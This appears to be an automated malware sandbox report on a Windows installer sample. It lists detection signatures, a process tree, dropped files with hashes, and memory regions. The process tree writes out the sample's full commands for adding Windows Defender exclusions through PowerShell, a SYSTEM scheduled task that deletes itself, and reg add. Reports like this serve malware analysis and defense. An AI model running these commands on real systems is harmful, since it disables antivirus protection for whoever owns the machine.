Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/08/2026, 04:13

General

  • Target
    install.1.0.41.exe
  • Size 40.5MB
  • Sample260813-etdt2agg49
  • SHA256 6b6a3b26586a1529e00317bf6bb3e93768132cfa77a0a0b9548657e5bad6461a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.1.0.41.exe
    "C:\Users\Admin\AppData\Local\Temp\install.1.0.41.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4896
  • C:\Users\Public\VRb3OQ\OfE9Dz.exe
    "C:\Users\Public\VRb3OQ\OfE9Dz.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5412
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\VRb3OQ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:480
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\VRb3OQ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4276
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3324
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2812
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3588
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5484
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2620
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:900
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1712
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1692
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1476
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5876
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5992
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1776
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2976
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3836
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5184
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3500
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2576
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2540
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\VRb3OQ" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5204
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\VRb3OQ" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2272
                      • C:\Users\Public\VRb3OQ\OfE9Dz.exe
                        "C:\Users\Public\VRb3OQ\OfE9Dz.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5168
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:6108
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4124
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4956

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              OfE9Dz.exe

                              • Path C:\Users\Public\VRb3OQ\OfE9Dz.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\VRb3OQ\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 2ee20eb447955bedc8227dcc8fc16b8d546cfb94c282582018448b72908ddf4e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\VRb3OQ\adoresd.dat
                              • Size 4.7MB
                              • SHA256 98b195032b928e74cde386b09f9511d217cfe48313b4c5d9b80d25babb4f75ba
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\VRb3OQ\msadox.tb
                              • Size 8KB
                              • SHA256 2683b259dd4d7a932bd2f82750c00f6d0f1df623672168d0b8a2f8db0ce78b4c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2676-557-0x0000027928C00000-0x0000027928C4E000-memory.dmp

                              memory/2676-559-0x0000027929FE0000-0x000002792A06A000-memory.dmp

                              memory/2676-560-0x0000027929FE0000-0x000002792A06A000-memory.dmp

                              memory/2676-566-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-530-0x00007FFE12770000-0x00007FFE12772000-memory.dmp

                              memory/2676-531-0x00007FFDEFBD0000-0x00007FFDF00EE000-memory.dmp

                              memory/2676-564-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-558-0x0000027929FE0000-0x000002792A06A000-memory.dmp

                              memory/2676-536-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-538-0x00007FFE12780000-0x00007FFE12782000-memory.dmp

                              memory/2676-543-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-539-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-544-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-546-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-545-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-550-0x0000027929740000-0x0000027929FD1000-memory.dmp

                              memory/2676-561-0x0000027929FE0000-0x000002792A06A000-memory.dmp

                              memory/4896-525-0x00007FFE04850000-0x00007FFE04862000-memory.dmp

                              memory/4896-524-0x0000000004850000-0x000000000485E000-memory.dmp

                              memory/4896-0-0x0000000004850000-0x000000000485E000-memory.dmp

                              memory/4896-1-0x0000000004850000-0x000000000485E000-memory.dmp

                              memory/4896-2-0x0000000004860000-0x000000000486C000-memory.dmp

                              memory/4896-504-0x00007FFE04850000-0x00007FFE04862000-memory.dmp

                              memory/5168-579-0x0000017A23DB0000-0x0000017A24641000-memory.dmp

                              memory/5168-576-0x0000017A23DB0000-0x0000017A24641000-memory.dmp

                              memory/5168-578-0x00007FFE12780000-0x00007FFE12782000-memory.dmp

                              memory/5168-583-0x0000017A23DB0000-0x0000017A24641000-memory.dmp

                              memory/5168-584-0x0000017A23DB0000-0x0000017A24641000-memory.dmp

                              memory/5168-574-0x00007FFDEFBD0000-0x00007FFDF00EE000-memory.dmp

                              memory/5168-585-0x0000017A23DB0000-0x0000017A24641000-memory.dmp

                              memory/5168-587-0x00007FFE12770000-0x00007FFE12772000-memory.dmp

                              memory/5168-586-0x0000017A23DB0000-0x0000017A24641000-memory.dmp

                              memory/5412-590-0x000001B8596D0000-0x000001B8596F2000-memory.dmp

                              memory/5412-594-0x000001B859950000-0x000001B85996E000-memory.dmp

                              memory/5412-595-0x000001B859970000-0x000001B859A22000-memory.dmp

                              memory/5412-596-0x000001B859720000-0x000001B85972A000-memory.dmp